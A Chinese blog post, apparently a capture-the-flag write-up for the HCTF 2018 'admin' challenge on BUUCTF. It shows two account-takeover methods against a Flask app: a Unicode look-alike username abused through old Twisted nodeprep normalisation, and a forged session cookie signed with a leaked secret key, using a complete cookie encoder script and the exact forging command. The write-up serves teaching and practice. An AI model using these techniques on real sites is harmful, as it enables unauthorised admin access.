BUUCTF做题记录-[HCTF 2018]admin

[HCTF 2018]admin

进入界面:

没注册的时候有"login","register"两个选项

随随便便就给它注册一个

诶,这回选择就多了

可以"index","post","change password","logout"

几次尝试:

由提示"admin"入手

提示为admin

那我就乖乖地注册一个admin账户

哦吼,我滴乖乖

已经被注册了

 

那说明什么,这个admin账户指定有点东西

首先想到的是使用BURPSUITE进行密码爆破

很显然,似乎是不能爆破,具体原因我不清楚,待大佬指点,记一坑,日后填

依然由"admin"开始操作,改变大小写

注册"Admin"账户假装我是"admin",以失败告终

正确姿势

进行修改密码时,查看网页源代码

可以发现提供题目源码的地址

https://github.com/woadsl1234/hctf_flask/

源码如下:

  1 #!/usr/bin/env python
  2 # -*- coding:utf-8 -*-
  3 
  4 from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
  5 from flask_login import logout_user, LoginManager, current_user, login_user
  6 from app import app, db
  7 from config import Config
  8 from app.models import User
  9 from forms import RegisterForm, LoginForm, NewpasswordForm
 10 from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
 11 from io import BytesIO
 12 from code import get_verify_code
 13 
 14 @app.route('/code')
 15 def get_code():
 16     image, code = get_verify_code()
 17     # 图片以二进制形式写入
 18     buf = BytesIO()
 19     image.save(buf, 'jpeg')
 20     buf_str = buf.getvalue()
 21     # 把buf_str作为response返回前端,并设置首部字段
 22     response = make_response(buf_str)
 23     response.headers['Content-Type'] = 'image/gif'
 24     # 将验证码字符串储存在session中
 25     session['image'] = code
 26     return response
 27 
 28 @app.route('/')
 29 @app.route('/index')
 30 def index():
 31     return render_template('index.html', title = 'hctf')
 32 
 33 @app.route('/register', methods = ['GET', 'POST'])
 34 def register():
 35 
 36     if current_user.is_authenticated:
 37         return redirect(url_for('index'))
 38 
 39     form = RegisterForm()
 40     if request.method == 'POST':
 41         name = strlower(form.username.data)
 42         if session.get('image').lower() != form.verify_code.data.lower():
 43             flash('Wrong verify code.')
 44             return render_template('register.html', title = 'register', form=form)
 45         if User.query.filter_by(username = name).first():
 46             flash('The username has been registered')
 47             return redirect(url_for('register'))
 48         user = User(username=name)
 49         user.set_password(form.password.data)
 50         db.session.add(user)
 51         db.session.commit()
 52         flash('register successful')
 53         return redirect(url_for('login'))
 54     return render_template('register.html', title = 'register', form = form)
 55 
 56 @app.route('/login', methods = ['GET', 'POST'])
 57 def login():
 58     if current_user.is_authenticated:
 59         return redirect(url_for('index'))
 60 
 61     form = LoginForm()
 62     if request.method == 'POST':
 63         name = strlower(form.username.data)
 64         session['name'] = name
 65         user = User.query.filter_by(username=name).first()
 66         if user is None or not user.check_password(form.password.data):
 67             flash('Invalid username or password')
 68             return redirect(url_for('login'))
 69         login_user(user, remember=form.remember_me.data)
 70         return redirect(url_for('index'))
 71     return render_template('login.html', title = 'login', form = form)
 72 
 73 @app.route('/logout')
 74 def logout():
 75     logout_user()
 76     return redirect('/index')
 77 
 78 @app.route('/change', methods = ['GET', 'POST'])
 79 def change():
 80     if not current_user.is_authenticated:
 81         return redirect(url_for('login'))
 82     form = NewpasswordForm()
 83     if request.method == 'POST':
 84         name = strlower(session['name'])
 85         user = User.query.filter_by(username=name).first()
 86         user.set_password(form.newpassword.data)
 87         db.session.commit()
 88         flash('change successful')
 89         return redirect(url_for('index'))
 90     return render_template('change.html', title = 'change', form = form)
 91 
 92 @app.route('/edit', methods = ['GET', 'POST'])
 93 def edit():
 94     if request.method == 'POST':
 95         
 96         flash('post successful')
 97         return redirect(url_for('index'))
 98     return render_template('edit.html', title = 'edit')
 99 
100 @app.errorhandler(404)
101 def page_not_found(error):
102     title = unicode(error)
103     message = error.description
104     return render_template('errors.html', title=title, message=message)
105 
106 def strlower(username):
107     username = nodeprep.prepare(username)
108     return username

Unicode欺骗

观察源码

在末尾定义了一个函数 strlower() 

1 def strlower(username):
2     username = nodeprep.prepare(username)
3     return username

这个函数在注册、登录、修改密码中都存在

函数主体中 username = nodeprep.prepare(username) 

观察源码第十行 from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep 

nodeprep是从Twisted模块导入

打开项目的requirements.txt

 1 Flask==0.10.1
 2 Werkzeug==0.10.4
 3 Flask_Login==0.4.1
 4 Twisted==10.2.0
 5 Flask_SQLAlchemy==2.0
 6 WTForms==2.2.1
 7 Flask_Migrate==2.2.1
 8 Flask_WTF==0.14.2
 9 Pillow==5.3.0
10 pymysql==0.9.2

其中 Twisted==10.2.0 

与官网的版本相比较,已是非常古老

利用古老版本的漏洞来作为这一题的突破口

而这里面就存在Unicode编码的一个问题

可以知道当使用了nodeprep.prepare()函数之后,如果我们先使用unicode的编码的字符,比如说 ᴬ ,使用该函数之后,他会先变成大写的A,再使用一次就会变成小写的a

具体字符可查这

下面是我自己使用python尝试了一下项目中的编译

其中Unicode编码 \u1d2c\u1d30\u1d39\u1d35\u1d3a 为"ᴬᴰᴹᴵᴺ"的unicode编码

报错为 raise UnicodeError("Unassigned code point %s" % repr(c)) 具体问题排查中

注册"ᴬᴰᴹᴵᴺ"账号

登录进去,猛如虎一顿操作,改一个我的小脑袋瓜子能够记得住的密码

退出该账号

通过"admin"进行登录

输入"ᴬᴰᴹᴵᴺ"账号的密码即可进入

悄咪咪地溜进去悄咪咪地拿到flag最后悄咪咪地走人

Session伪造

以下是来自学长的指点:

服务器端是通过seesion区分用户的 

如果你解密你的seesion

然后添加管理员权限的标记 

再加密回去 

服务器就会认为你是admin

这题的session是存在于本地

由资料中的文章知flask的session是存在客户端

随便注册一个账号"beacon"

登录进去,拿到session

通过以下代码进行解码:

 1 #!/usr/bin/env python3
 2 import sys
 3 import zlib
 4 from base64 import b64decode
 5 from flask.sessions import session_json_serializer
 6 from itsdangerous import base64_decode
 7 
 8 def decryption(payload):
 9     payload, sig = payload.rsplit(b'.', 1)
10     payload, timestamp = payload.rsplit(b'.', 1)
11 
12     decompress = False
13     if payload.startswith(b'.'):
14         payload = payload[1:]
15         decompress = True
16 
17     try:
18         payload = base64_decode(payload)
19     except Exception as e:
20         raise Exception('Could not base64 decode the payload because of an exception')
21 
22     if decompress:
23         try:
24             payload = zlib.decompress(payload)
25         except Exception as e:
26             raise Exception('Could not zlib decompress the payload before decoding the payload')
27 
28     return session_json_serializer.loads(payload)
29 
30 if __name__ == '__main__':
31     print(decryption(str(input("输入需要解码的Session:")).encode() ))

解码情况如下:

解码完成之后就是伪造session

伪造session需要SECRET_KEY

在项目文件中可以找到

1 import os
2 
3 class Config(object):
4     SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
5     SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
6     SQLALCHEMY_TRACK_MODIFICATIONS = True

SECRET_KEY为"ckj123"

"name"由"beacon"修改为"admin"

进行session加密

加密代码如下(取自GitHub

  1 #!/usr/bin/env python3
  2 """ Flask Session Cookie Decoder/Encoder """
  3 __author__ = 'Wilson Sumanang, Alexandre ZANNI'
  4 
  5 # standard imports
  6 import sys
  7 import zlib
  8 from itsdangerous import base64_decode
  9 import ast
 10 
 11 # Abstract Base Classes (PEP 3119)
 12 if sys.version_info[0] < 3: # < 3.0
 13     raise Exception('Must be using at least Python 3')
 14 elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
 15     from abc import ABCMeta, abstractmethod
 16 else: # > 3.4
 17     from abc import ABC, abstractmethod
 18 
 19 # Lib for argument parsing
 20 import argparse
 21 
 22 # external Imports
 23 from flask.sessions import SecureCookieSessionInterface
 24 
 25 class MockApp(object):
 26 
 27     def __init__(self, secret_key):
 28         self.secret_key = secret_key
 29 
 30 
 31 if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
 32     class FSCM(metaclass=ABCMeta):
 33         def encode(secret_key, session_cookie_structure):
 34             """ Encode a Flask session cookie """
 35             try:
 36                 app = MockApp(secret_key)
 37 
 38                 session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
 39                 si = SecureCookieSessionInterface()
 40                 s = si.get_signing_serializer(app)
 41 
 42                 return s.dumps(session_cookie_structure)
 43             except Exception as e:
 44                 return "[Encoding error] {}".format(e)
 45                 raise e
 46 
 47 
 48         def decode(session_cookie_value, secret_key=None):
 49             """ Decode a Flask cookie  """
 50             try:
 51                 if(secret_key==None):
 52                     compressed = False
 53                     payload = session_cookie_value
 54 
 55                     if payload.startswith('.'):
 56                         compressed = True
 57                         payload = payload[1:]
 58 
 59                     data = payload.split(".")[0]
 60 
 61                     data = base64_decode(data)
 62                     if compressed:
 63                         data = zlib.decompress(data)
 64 
 65                     return data
 66                 else:
 67                     app = MockApp(secret_key)
 68 
 69                     si = SecureCookieSessionInterface()
 70                     s = si.get_signing_serializer(app)
 71 
 72                     return s.loads(session_cookie_value)
 73             except Exception as e:
 74                 return "[Decoding error] {}".format(e)
 75                 raise e
 76 else: # > 3.4
 77     class FSCM(ABC):
 78         def encode(secret_key, session_cookie_structure):
 79             """ Encode a Flask session cookie """
 80             try:
 81                 app = MockApp(secret_key)
 82 
 83                 session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
 84                 si = SecureCookieSessionInterface()
 85                 s = si.get_signing_serializer(app)
 86 
 87                 return s.dumps(session_cookie_structure)
 88             except Exception as e:
 89                 return "[Encoding error] {}".format(e)
 90                 raise e
 91 
 92 
 93         def decode(session_cookie_value, secret_key=None):
 94             """ Decode a Flask cookie  """
 95             try:
 96                 if(secret_key==None):
 97                     compressed = False
 98                     payload = session_cookie_value
 99 
100                     if payload.startswith('.'):
101                         compressed = True
102                         payload = payload[1:]
103 
104                     data = payload.split(".")[0]
105 
106                     data = base64_decode(data)
107                     if compressed:
108                         data = zlib.decompress(data)
109 
110                     return data
111                 else:
112                     app = MockApp(secret_key)
113 
114                     si = SecureCookieSessionInterface()
115                     s = si.get_signing_serializer(app)
116 
117                     return s.loads(session_cookie_value)
118             except Exception as e:
119                 return "[Decoding error] {}".format(e)
120                 raise e
121 
122 
123 if __name__ == "__main__":
124     # Args are only relevant for __main__ usage
125     
126     ## Description for help
127     parser = argparse.ArgumentParser(
128                 description='Flask Session Cookie Decoder/Encoder',
129                 epilog="Author : Wilson Sumanang, Alexandre ZANNI")
130 
131     ## prepare sub commands
132     subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
133 
134     ## create the parser for the encode command
135     parser_encode = subparsers.add_parser('encode', help='encode')
136     parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
137                                 help='Secret key', required=True)
138     parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
139                                 help='Session cookie structure', required=True)
140 
141     ## create the parser for the decode command
142     parser_decode = subparsers.add_parser('decode', help='decode')
143     parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
144                                 help='Secret key', required=False)
145     parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
146                                 help='Session cookie value', required=True)
147 
148     ## get args
149     args = parser.parse_args()
150 
151     ## find the option chosen
152     if(args.subcommand == 'encode'):
153         if(args.secret_key is not None and args.cookie_structure is not None):
154             print(FSCM.encode(args.secret_key, args.cookie_structure))
155     elif(args.subcommand == 'decode'):
156         if(args.secret_key is not None and args.cookie_value is not None):
157             print(FSCM.decode(args.cookie_value,args.secret_key))
158         elif(args.cookie_value is not None):
159             print(FSCM.decode(args.cookie_value))

执行

python .\flask_session_cookie_manager.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'3fbbbd4cf0447592eac22fe47104c884df13b3eb75f93a47a15ca80c53c2de846e6606703cb8d1e9bd9ec0f9f124d9edcfc909583cfc8c42fe7eaeca159441ab', 'csrf_token': b'ade7afede008694bd78e9ab33291242fb3d9d3d4', 'image': b'6xVv', 'name': 'admin', 'user_id': '10'}"

将原session修改成伪造后的session值即可

资料

网上一题三解:三种本题解法

Unicode查询:Unicode character table

Session相关:session

Session加密:Session加密

posted @ 2021-01-04 22:23  BEACON_CAI  阅读(385)  评论(0)    收藏  举报